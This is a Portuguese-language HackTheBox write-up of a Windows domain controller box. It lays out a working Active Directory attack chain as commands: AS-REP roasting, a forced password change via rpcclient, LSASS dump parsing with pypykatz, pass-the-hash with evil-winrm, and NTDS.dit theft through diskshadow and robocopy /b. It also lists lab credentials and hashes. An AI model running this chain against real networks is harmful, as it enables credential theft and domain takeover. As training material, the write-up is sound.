Informações da Box
| Plataforma | HackTheBox |
| Dificuldade | Hard |
| SO | Windows (Domain Controller) |
| Técnicas Principais | AS-REP Roasting, ForceChangePassword, LSASS Dump Analysis, VSS + NTDS.dit |
Resumo do Caminho de Ataque
SMB null session na share profiles$ -> extraiu ~300 usernames potenciais -> AS-REP Roast na conta support -> crackou o hash -> BloodHound mostrou que support tem ForceChangePassword sobre audit2020 -> troquei a senha via rpcclient -> audit2020 tinha acesso à share forensic no SMB -> encontrou lsass.DMP -> pypykatz extraiu o hash NTLM do svc_backup -> evil-winrm como svc_backup -> SeBackupPrivilege -> diskshadow VSS snapshot -> robocopy /b NTDS.dit -> secretsdump -> Domain Admin.
Chain mais longa que já fiz. Cada passo construiu em cima do anterior.
Enumeração
sudo nmap -sCV -p 53,88,135,389,445,593,3268,5985 -Pn -T4 $ip
| Porta | Serviço | Notas |
|---|---|---|
| 88 | Kerberos | DC confirmado |
| 389 | LDAP | Domínio: BLACKFIELD.local |
| 445 | SMB | Signing required |
| 5985 | WinRM | Usado pra shell |
SMB — Coleta de Usernames
smbclient //$ip/profiles$ -U '' -N -c 'ls' | awk '{print $1}' | grep -v '^\.' | grep -v '^$' | grep -v 'blocks' > users.txt
# ~300 usernames potenciais da share profiles$
Foothold — AS-REP Roasting
impacket-GetNPUsers BLACKFIELD.local/ -dc-ip $ip -usersfile users.txt -format hashcat -outputfile asrep.txt
# Conta support não tem preauth -> pegou o hash
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
# Crackou: #00^BlackKnight
Primeiras creds: support:#00^BlackKnight
BloodHound -> ForceChangePassword
bloodhound-python -u 'support' -p '#00^BlackKnight' -ns $ip -d BLACKFIELD.local -c All
# BloodHound: support tem ForceChangePassword sobre audit2020
Troquei a senha do audit2020 sem saber a original:
rpcclient -U 'support%#00^BlackKnight' $ip
rpcclient $> setuserinfo2 audit2020 23 'Password@1234'
Share Forensic -> LSASS Dump
audit2020 tinha acesso à share forensic no SMB contendo dumps de memória.
smbclient //$ip/forensic -U 'BLACKFIELD.local/audit2020%Password@1234'
# Baixei memory_analysis/lsass.DMP
# ATENÇÃO: arquivos .zip vieram com 0 bytes por causa do mget corrompido — use o .DMP direto
Extraiu credenciais do dump do LSASS:
pypykatz lsa minidump lsass.DMP
# Pegou hash NTLM do svc_backup: 9658d1d1dcd9250115e2205d9f48400d
evil-winrm -i $ip -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d'
Escalação de Privilégios — SeBackupPrivilege -> NTDS.dit
svc_backup tinha SeBackupPrivilege e SeRestorePrivilege. Num DC, isso significa que a gente pode pegar o NTDS.dit — o banco de dados de senhas do domínio.
A diferença:
reg save hklm\sam= hashes de contas locais. Funciona em qualquer Windows.- NTDS.dit = banco de dados de senhas do domínio. Só em DCs. Travado pelo Active Directory — não dá pra copiar direto.
- VSS (Volume Shadow Copy) cria um snapshot congelado onde o NTDS.dit não tá mais travado.
VSS Snapshot + Cópia do NTDS.dit
# Tem que rodar de um diretório com permissão de escrita — NÃO o Documents
cd C:\Temp
echo "set context persistent nowriters" | out-file C:\Temp\shadow.dsh -encoding ascii
echo "add volume c: alias pwn" | out-file C:\Temp\shadow.dsh -append -encoding ascii
echo "create" | out-file C:\Temp\shadow.dsh -append -encoding ascii
echo "expose %pwn% z:" | out-file C:\Temp\shadow.dsh -append -encoding ascii
diskshadow /s C:\Temp\shadow.dsh
# Shadow copy criada e exposta como Z:\
# Copiar NTDS.dit usando privilégio de backup (flag /b ignora ACLs)
robocopy /b z:\Windows\NTDS\ C:\Temp\ ntds.dit
# Salvar hive SYSTEM
reg save hklm\system C:\Temp\system
# Baixar os dois
download ntds.dit
download system
Secretsdump -> Domain Admin
impacket-secretsdump -ntds ntds.dit -system system LOCAL
# Pegou: Administrator:500:...:184fb5e5178480be64824d4cd53b99ee:::
evil-winrm -i $ip -u 'Administrator' -H '184fb5e5178480be64824d4cd53b99ee'
Credenciais
| Usuário | Senha/Hash | Origem |
|---|---|---|
| support | #00^BlackKnight | AS-REP Roasting |
| audit2020 | Password@1234 | ForceChangePassword |
| svc_backup | 9658d1d1dcd9250115e2205d9f48400d (NTLM) | pypykatz no lsass.DMP |
| Administrator | 184fb5e5178480be64824d4cd53b99ee (NTLM) | secretsdump do NTDS.dit |
O que Aprendi
pypykatz — equivalente Linux do Mimikatz. Faz parse de dumps de memória LSASS offline. pypykatz lsa minidump lsass.DMP e pega credenciais de todo usuário que tinha sessão naquela máquina.
VSS + NTDS.dit — num DC, o NTDS.dit é travado pelo AD. Use diskshadow pra criar um snapshot, exponha como uma letra de drive, depois robocopy /b pra copiar com privilégios de backup.
ForceChangePassword via rpcclient — setuserinfo2 <user> 23 '<newpass>' troca a senha de qualquer usuário se tiver a permissão ACL. Não precisa saber a senha original.
SMB mget produz arquivos de 0 bytes pra arquivos grandes às vezes. Sempre confira o tamanho dos arquivos. Use o .DMP direto em vez do .zip.
diskshadow TEM que rodar de um diretório com permissão de escrita. Sempre cd C:\Temp primeiro. Não Documents, não Desktop.
Padrão: “Box DC + SeBackupPrivilege = VSS snapshot -> robocopy /b NTDS.dit -> secretsdump -> todos os hashes do domínio.”